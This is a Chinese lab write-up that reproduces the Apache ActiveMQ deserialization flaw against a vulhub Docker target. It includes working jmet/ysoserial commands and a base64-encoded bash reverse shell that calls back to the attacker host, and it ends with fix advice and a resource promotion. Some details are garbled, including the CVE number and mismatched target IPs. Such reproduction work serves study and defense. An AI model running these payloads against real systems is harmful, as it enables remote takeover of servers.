一、ActiveMQ介绍
1.1 简介
Apache的一款JAVA开源消息中间件,支持Java消息服务、集群、SpringFrameword等。属于消息队列组件。
(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)
1.2 漏洞影响版本
Apache ActiveMQ < 5.13.0 之前 5.x版本
1.3 漏洞成因
漏洞没有限制在代理中序列化的类,远程攻击者可以借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行恶意代码。
1.4 漏洞利用限制
1、版本符合
2、立即执行代码:能够有弱密码登录查看消息队列
3、没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发(比较鸡肋,但可以写入创建用户命令等待管理员点击查看,概率很大!)
1.5 业务场景
消息队列在大型电子商务类网站(JD、淘宝等)深入应用,主要消除高并发访问高峰,加快网站响应速度。
(Tips:介绍业务场景便于我们对拿到一个站点思考是否可能应用此消息队列组件)(例如:不使用消息队列用户请求会直接写入数据库,在高并发情况下会对数据库造成大压力,使系统响应延迟加剧。在使用消息队列后,用户的请求发给队列后不会立即返回,如有时提交了订单,系统提示:“您提交了订单、请等待系统确认!”再由消息队列组件从消息队列中获取数据,异步写入数据库,从而响应延迟得以改善)
二、靶场搭建
靶机:ubuntu
IP:192.168.241.142
攻击机:kali
IP:192.168.241.128
直接使用 vluhub 环境了
cd activemq/CVE--5254docker-compose up -d
三、漏洞利用
3.1、漏洞验证
使用 jmet 进行漏洞利用(原理:使用集成的ysoserial生成payload并发送)
在 jmet 同级目录创建 external 目录
构造队列消息发送到目标服务器(这里为在目标服务器/tmp目录创建一个文件)
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/success" -Yp ROME 192.168.159.129 61616
使用ROME payload把执行touch /tmp/success命令序列化后作为event消息队列名发送给目标ActiveMQ)
访问web站点查看创建的消息队列是否成功
前提:需要拿到BasicHTML认证的账号密码,这里为了演示admin:admin(弱口令)
登录成功后查看到创建的消息队列
当用户浏览事件点击该消息队列时便可触发反序列化漏洞
进入到docker对应容器中,在/tmp目录下生成一个success文件(受害者访问)
至此验证漏洞存在并复现完毕
3.2、漏洞利用 反弹shell
局限性:在等待shell连接时候,需要管理员/用户点击你的事件
攻击者于 19111 端口监听shell连接
接下来,发送bash弹shell的命令payload到服务器
(这里需要对bash命令进行base64编码)
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvMTkxMTEgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.241.142 61616
成功添加事件
点击访问该事件,payload便会执行(真实攻击场景下,此过程需要等待管理员点击)
四、修复建议
1、升级到最新版本
2、有WAF的可以配置相关规则进行拦截
更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是-期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥
如果觉得《ActiveMQ反序列化漏洞 getshell(CVE--5254)——漏洞复现》对你有帮助,请点赞、收藏,并留下你的观点哦!